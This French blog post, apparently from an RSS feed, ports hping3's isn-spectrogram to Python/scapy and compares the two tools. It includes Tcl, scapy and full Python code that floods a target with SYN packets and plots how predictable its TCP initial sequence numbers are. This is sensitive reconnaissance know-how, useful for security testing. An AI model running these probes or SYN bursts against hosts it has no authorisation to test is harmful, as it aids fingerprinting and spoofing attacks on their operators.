programme &lt;a href=&quot;http://wiki.hping.org/94&quot; hreflang=&quot;en&quot;&gt;isn-spectrogram&lt;/a&gt;
écrit en tcl/hping3. La création de paquet, envoi et réception a été réécrite
avec scapy, la fenêtre graphique réécrite avec Tkinter (isn-spectrogram
utilisant Tk, le portage a été facile :-)). Ce programme analyse les numéros de
séquence renvoyés par le destinataire lors de l'initialisation d'une connexion
TCP. Ce programme dessine un spectrogramme qui représente la distribution des
écarts de numéros de séquence renvoyés entre les différents paquets. Ces écarts
correspondent à des incréments aléatoires et plus le spectre sera large, plus
il sera difficile de déterminer les numéros de séquences.&lt;/p&gt;
&lt;p&gt;Spectrogramme linux 2.4.27 :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/linux.png&quot; alt=&quot;linux.png&quot; style=&quot;display:block; margin:0 auto;&quot; title=&quot;linux.png, May 2009&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Spectrogramme d'un routeur Zyxel (!) :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/zyxel.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;    &lt;p&gt;Nous allons nous concentrer sur les parties de code purement liées à hping3
et scapy. Construction des paquets, émission et réception via hping3 :&lt;/p&gt;
&lt;pre&gt;
proc sendsyn {} {
    global sport dport myip target
    append syn &amp;quot;ip(saddr=$myip,daddr=$target,ttl=255)+&amp;quot;
    append syn &amp;quot;tcp(sport=$sport,dport=$dport,flags=s)&amp;quot;
    hping send $syn
    incr sport
    after 1 sendsyn
}

proc recvsynack {} {
    global lastisn relative_attractor

    set packets [hping recv eth0 0 0]
    foreach p $packets {
        if {![hping hasfield tcp flags $p]} continue
        set isn [hping getfield tcp seq $p]
        if {$relative_attractor} {
                set tisn [expr abs($isn-$lastisn)]
                set lastisn $isn
                set isn $tisn
        }
        #puts &amp;quot;ISN: $isn&amp;quot;
        displaypoint $isn
    }
    after 10 recvsynack
}
&lt;/pre&gt;
&lt;p&gt;Deux fonctions sont utilisées, une pour envoyer des paquets, l'autre pour
recevoir les réponses, respectivement &lt;code&gt;sendsyn&lt;/code&gt; et
&lt;code&gt;recvsynack&lt;/code&gt;. Ces fonctions sont appelées par le gestionnaire
d'évènement de tcl : envoi d'un paquet toute les millisecondes, réceptions
des paquets de réponse toutes le 10 millisecondes. La fonction hping utilisée
pour envoyer est &lt;code&gt;send&lt;/code&gt;, et &lt;code&gt;recv&lt;/code&gt; pour recevoir. Ces
deux fonctions traitent des listes tcl au format &lt;a href=&quot;http://wiki.hping.org/26&quot;&gt;APD&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voici la méthode que j'avais choisi initialement avec scapy :&lt;/p&gt;
&lt;pre&gt;
def sendSyns():
   &amp;quot;Envoie des paquets SYN, reception de SYN-ACK&amp;quot;
    port = 1
    while True:
       seq = sr1(IP(dst=hostname,ttl=255)/TCP(flags=&amp;quot;S&amp;quot;,sport=port,dport=dport),verbose=0).seq
       diff = abs(oldseq - seq)
       oldseq = seq
       port += 1
       displayPoint(diff)
&lt;/pre&gt;
&lt;p&gt;L'avantage de scapy est clairement ici :&lt;/p&gt;
&lt;pre&gt;
seq = sr1(IP(dst=hostname,ttl=255)/TCP(flags=&amp;quot;S&amp;quot;,sport=port,dport=dport),verbose=0).seq
&lt;/pre&gt;
&lt;p&gt;En une seule ligne, je construis un paquet, je l'envoie, je récupère la
réponse et j'en extrait le numéro de séquence. Dans mon programme python,
j'aurai donc une unique fonction pour envoyer et recevoir les paquets :
&lt;code&gt;sendSyns()&lt;/code&gt; Cette fonction est exécutée dans un thread (on utilise
pas cette notion de gestionnaire d'évènements tcl).&lt;/p&gt;
&lt;p&gt;Cette fonction scapy &lt;code&gt;sr1&lt;/code&gt; qui permet d'envoyer et de recevoir un
paquet, c'est très pratique. Mais dans le cas de notre programme, c'est trop
lent. Il faut envoyer plusieurs milliers de paquets pour obtenir nos
spectrogrammes et c'est beaucoup trop lent d'itérer sur une fonction
&lt;code&gt;sr1&lt;/code&gt; de &lt;code&gt;scapy&lt;/code&gt; qui enverra nouveau paquet seulement
après avoir reçu la réponse du paquet précédent.&lt;/p&gt;
&lt;p&gt;J'ai donc utilisé une autre méthode que je vais vous décrire. Mais pour être
honnête, dans tous les cas il semble que scapy soit beaucoup plus lent que
hping3 pour ce qui concerne la création et l'envoi de paquets. La vitesse n'est
surement pas le critère le plus important, mais la différence est suffisamment
importante pour être notée :&lt;/p&gt;
&lt;p&gt;Envoie de 10000 paquets sous hping3 :&lt;/p&gt;
&lt;pre&gt;
hping3&amp;gt; for { set i 0 } { $i &amp;lt; 10000 } { incr i } { hping send &amp;quot;ip(saddr=192.168.1.2,daddr=192.168.1.1,ttl=255)+tcp(sport=$i dport=222,flags=s)&amp;quot; }
&lt;/pre&gt;
&lt;p&gt;Ceci envoie 10000 paquets TCP avec le flag SYN et la valeur du port source
qui incrémente à chaque paquet. Cette opération prend &lt;strong&gt;moins de deux
secondes&lt;/strong&gt; sur mon PC.&lt;/p&gt;
&lt;p&gt;L'équivalent sous scapy va mettre &lt;strong&gt;plus de 3 minutes&lt;/strong&gt; à
envoyer les 10000 paquets :&lt;/p&gt;
&lt;pre&gt;
 &amp;gt;&amp;gt;&amp;gt; for i in range(10000):  send(IP(src=&amp;quot;192.168.1.2&amp;quot;,dst=&amp;quot;192.168.1.1&amp;quot;,ttl=255)/TCP(sport=ri,dport=222,flags=&amp;quot;S&amp;quot;),verbose=0,inter=0)
 ou
 &amp;gt;&amp;gt;&amp;gt; send(IP(src=&amp;quot;192.168.1.2&amp;quot;,dst=&amp;quot;192.168.1.1&amp;quot;,ttl=255)/TCP(sport=range(10000),dport=222,flags=&amp;quot;S&amp;quot;),verbose=0,inter=0)
&lt;/pre&gt;
&lt;p&gt;Bref, on l'a compris, ça sera plus lent de générer les spectrogrammes avec
scapy, mais avec la fonction &lt;code&gt;sc1,&lt;/code&gt; c'est carrément inutilisable,
alors voici la solution que j'ai adoptée :&lt;/p&gt;
&lt;pre&gt;
def sendSyns():
    &amp;quot;Envoie des paquets SYN, reception de SYN-ACK&amp;quot;
    sport = 1
    while running==1:
        r = sr(IP(dst=hostname,ttl=255)/ TCP(flags=&amp;quot;S&amp;quot;, sport=range(sport,sport+nbsyn), dport=dport),
               verbose=0,timeout=0)
        sport += nbsyn
        for snd,rcv in r&lt;a href=&quot;http://blog.ombrepixel.com/post/2007/03/21/0&quot;&gt;0&lt;/a&gt;:
            diff = abs(oldseq - rcv.seq)
            oldseq = rcv.seq
            displayPoint(diff)
&lt;/pre&gt;
&lt;p&gt;A la place de &lt;code&gt;sr1&lt;/code&gt;, j'utilise la fonction &lt;code&gt;sr&lt;/code&gt; pour
envoyer plusieurs paquets d'un coup, et recevoir l'ensemble des réponses
ensuite. le &lt;code&gt;sport=range(sport,sport+nbsyn)&lt;/code&gt; va fournir une liste de
port à l'argument &lt;code&gt;sport&lt;/code&gt; (port source) de l'objet TCP. Ceci à pour
conséquence la création de plusieurs paquets. &lt;code&gt;nbsyn&lt;/code&gt; correspond au
nombre de paquets à envoyer d'une seule fois.&lt;/p&gt;
&lt;p&gt;On gagne en vitesse par rapport à &lt;code&gt;sr1&lt;/code&gt; dans la mesure ou on
envoi par paquets de &lt;code&gt;nbsyn&lt;/code&gt; paquets sans attendre la réponse. J'ai
testé avec différentes valeurs (on peut la spécifier par la ligne de commande)
mais la création du graphe reste quand même bien plus lente qu'avec le
programme sous hping3.&lt;/p&gt;
&lt;p&gt;Nombre de lignes de code : vainqueur scapy Vitesse : vainqueur
hping3&lt;/p&gt;
&lt;p&gt;Le programme complet :&lt;/p&gt;
&lt;pre&gt;
 
 #!/usr/bin/env python
 # -*- coding: iso-8859-15 -*-
 
 # David ROBERT david@ombrepixel.com
 # isn-scaptogram v0.1
 # Fortement inspiré de isn-spectrogram.htcl (projet hping3)
 # Pour comparer les fonctionnalité de scripts de hping3 et python/scapy
 
 from scapy import sr,IP,TCP
 from Tkinter import *
 import threading, sys, time
 
 try:
     hostname = sys.argv[1]
     dport = int(sys.argv[2])
     div = int(sys.argv[3])
     nbsyn = int(sys.argv[4])
 except:
     print &amp;quot;Utilisation: spectoscapy.py &amp;lt;host&amp;gt; &amp;lt;open-tcp-port&amp;gt; &amp;lt;scale&amp;gt; &amp;lt;blocks&amp;gt;&amp;quot;
     print &amp;quot;Exemple: spectoscapy.py www.example.com 80 100000 10&amp;quot;
     print &amp;quot; scale : echelle du spectrogramme&amp;quot;
     print &amp;quot; blocks : nombre de paquets SYN dans un bloc scapy&amp;quot;
     sys.exit(1)
 
 def quit():
     # Pour arreter mon thread
     global running
     running=0
 
 # Definition des paramètres TK
 running=1
 pastcol = {}
 root = Tk()
 root.title(&amp;quot;isn-scaptogram&amp;quot;)
 root.config(background=&amp;quot;#000000&amp;quot;)
 frame = Frame(root)
 frame.config(background=&amp;quot;#000000&amp;quot;)
 frame.pack(side=TOP)
 button = Button(frame, text=&amp;quot;QUIT&amp;quot;, fg=&amp;quot;red&amp;quot;, command=quit)
 button.pack(side=LEFT)
 canvas = Canvas(root)
 canvas.config(width=800,height=300)
 canvas.config(background=&amp;quot;#000000&amp;quot;)
 canvas.pack(fill=BOTH,expand=TRUE)
 canvas.create_rectangle(40,250,139,250,fill=&amp;quot;#FFFFFF&amp;quot;,width=0)
 canvas.create_text(90,270,fill=&amp;quot;#FFFFFF&amp;quot;,text=div*100)
 canvas.create_text(10,10,fill=&amp;quot;#FFFFFF&amp;quot;,text= \
                    &amp;quot;Host : %s, Port : %s Nombre de SYN par blocs: %d&amp;quot; \
                    % (hostname, dport, nbsyn),anchor=W)
 canvas.create_line(1,20,800,20,fill=&amp;quot;#FFFFFF&amp;quot;)
 def sendSyns():
     &amp;quot;Envoie des paquets SYN, reception de SYN-ACK&amp;quot;
     oldseq=0
     sport = 1
     while running==1:
         r = sr(IP(dst=hostname,ttl=255)/ TCP(flags=&amp;quot;S&amp;quot;, sport=range(sport,sport+nbsyn), dport=dport),
                verbose=0,timeout=0)
         sport += nbsyn
         for snd,rcv in r[0]:
             diff = abs(oldseq - rcv.seq)
             oldseq = rcv.seq
             displayPoint(diff)
     frame.quit()
 
 def displayPoint(isn):
     &amp;quot;Affiche le ligne sur le spectrogramme&amp;quot;
     isn = isn/div
     y = 50
     x = isn
     if not pastcol.has_key((x,y)):
         pastcol[(x,y)]=0
         graylevel = 0
     else:
         pastcol[(x,y)]+=10
         graylevel = pastcol[(x,y)]
     if graylevel &amp;gt;= 256*3: graylevel = 256*3-1
     if graylevel &amp;lt;= 255:
         b = graylevel
         g = r = 0
     elif graylevel &amp;lt;= 511:
         b = 0
         g = graylevel - 256
         r = 255
     elif graylevel &amp;lt;= 767:
         b = g = 255
         r = graylevel - 512
     canvas.create_rectangle(x,y,x+1,y+170,fill=&amp;quot;#%02X%02X%02X&amp;quot; % (r,g,b) ,width=0)
 
 t = threading.Thread(target = sendSyns, args = ())
 t.start()
 
 root.mainloop()
&lt;/pre&gt;</description>
    
    
    
      </item>
    
</channel>
</rss>
